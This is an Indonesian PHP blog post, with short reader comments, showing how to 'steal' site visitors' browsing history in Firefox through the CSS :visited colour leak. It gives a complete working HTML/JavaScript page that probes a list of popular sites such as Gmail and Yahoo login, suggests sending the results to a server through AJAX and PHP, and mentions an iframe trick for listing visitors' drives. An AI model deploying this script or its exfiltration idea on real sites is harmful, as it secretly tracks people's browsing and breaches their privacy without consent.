Mengintip History Pengunjung
Web browser pada umumnya memberi tanda berbeda untuk visited link. Dulu saat orang belum mengenal CSS, visited link secara default biasanya diberi warna merah, sementara link biasa (yang belum pernah diklik) diberi warna biru. Tapi saat ini, dengan CSS orang bisa memberi warna apa saja untuk visited link menyesuaikan dengan tema web keseluruhan.
Pemberian warna berbeda untuk visited link ini awalnya memang untuk memperindah tampilan web. Tapi buat mereka yang agak ngulik, tingkah laku web browser yang membedakan visited link ini bisa menjadi keuntungan tersendiri. Ya, anda jadi tahu web site apa saja yang pernah diakses oleh pengunjung. Dengan kata lain (yang agak menyeramkan), anda bisa mencuri history dari pengunjung. Glek.
Masih tertarik? Baiklah. Saya akan menunjukan bagaimana melakukannya untuk web browser Firefox. Saya belum pernah mencoba untuk IE, tapi seharusnya bisa disesuaikan dengan perubahan di skrip javascript-nya.
Pertama, anda perlu memberi warna khusus untuk visited link agar nanti bisa dikenali dengan skrip yang akan kita buat. Misalkan saya akan memberi warna putih untuk visited link, maka skrip CSS-nya seperti berikut:
<style type="text/css">
a:visited {
color: rgb(255,255,255) };
</style>
Kemudian, karena skrip kita hanya untuk web browser Firefox, kita butuh mendeteksi jenis web browser pengunjung. Skrip javascript berikut cukup untuk itu,
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);
Berikutnya buatlah array yang berisi web site populer yang sangat mungkin pernah dikunjungi oleh pengunjung anda sebelumnya,
var websites = [ "http://blog.phpug.or.id/", "http://digg.com/", "http://login.yahoo.com/", "http://mail.google.com/", "http://mail.yahoo.com/", "http://reddit.com/", "http://www.amazon.com/", "http://www.blogger.com/", "http://www.google.com/" ];
silahkan anda tambahkan sendiri di list tersebut.
Terakhir, buat anchor palsu dengan href berisi tiap website kita di atas, lalu cek warnanya. Kalau berwarna putih berarti website tersebut pernah dikunjungi sebelumnya. Skripnya seperti berikut,
for (var i = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
// check for visited
if (color == "rgb(255, 255, 255)") {
document.write('' + websites[i] + '<br />');
}
}
Sederhana bukan? Baiklah, agar lebih jelas ini skrip lengkapnya,
<html>
<head>
<title>Steal History</title>
<style type="text/css">
a:visited { color: rgb(255,255,255) };
</style>
</head>
<body>
<script language="javascript">
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);
// popular websites. Lookup if user has visited any.var websites = [
"http://blog.phpug.or.id/",
"http://digg.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://reddit.com/",
"http://www.amazon.com/",
"http://www.blogger.com/",
"http://www.google.com/"
];
/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {
var d = document.createElement('div');
d.id = 'xss_flag';
document.body.appendChild(d);
var d = document.createElement('table');
d.border = 0;
d.cellpadding = 5;
d.cellspacing = 10;
d.width = '90%';
d.align = 'center';
d.id = 'data';
document.body.appendChild(d);
document.write('');
/* launch steal history */
if (is_mozilla) {
stealHistory();
}
}
function stealHistory() {
// loop through websites and check which ones have been visited
for (var i = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
// check for visited
if (color == "rgb(255, 255, 255)") {
document.write('' + websites[i] + '<br />');
} // end visited check
} // end visited website loop
} // end stealHistory method
</script>
</body>
</html>
Anda bisa mencobanya di sini dengan Firefox anda. Tenang, saya tidak menyimpan informasi apa-apa, cuma untuk senang-senang saja. :)
Mungkin saat ini ada yang protes, “Lho, dimana PHP nya? Ini kan blog tentang PHP!!”
Sabar teman. Sampai sini memang belum ada PHP-nya, karena kita bermain di sisi client. Tapi kalau anda cukup cerdas (hehe ..), anda bisa saja mengirim informasi history tersebut lewat AJAX, yang kemudian “ditangkap” oleh PHP + MySQL.
Glek, tapi ini sudah terlalu jauh, saya khawatir disalahkan karena mengajarkan yang enggak-enggak. Ingat, ini hanya untuk bermain-main saja, sama seperti trik lama dengan iframe untuk menampilkan list drive c pengunjung. Lumayan buat panik kan? hehe.
“Hacker is people who love payful cleverness“
Richard M. Stallman
Walah ampun neh setting CSS nya. Gimana cara ngutip code-nya neh? Yo wis, klik aja deh link-nya dan liat sendiri.
ah, akhirnya bisa rada rapih juga skripnya. Tolong dong pak admin, saya diset agar no-formatting, biar bisa format manual pake HTML. Rada susah neh. Tengkyu
No Formating bisa Anda set sendiri …. masuk ke user .. lihat option di bawah :)
I like
asdf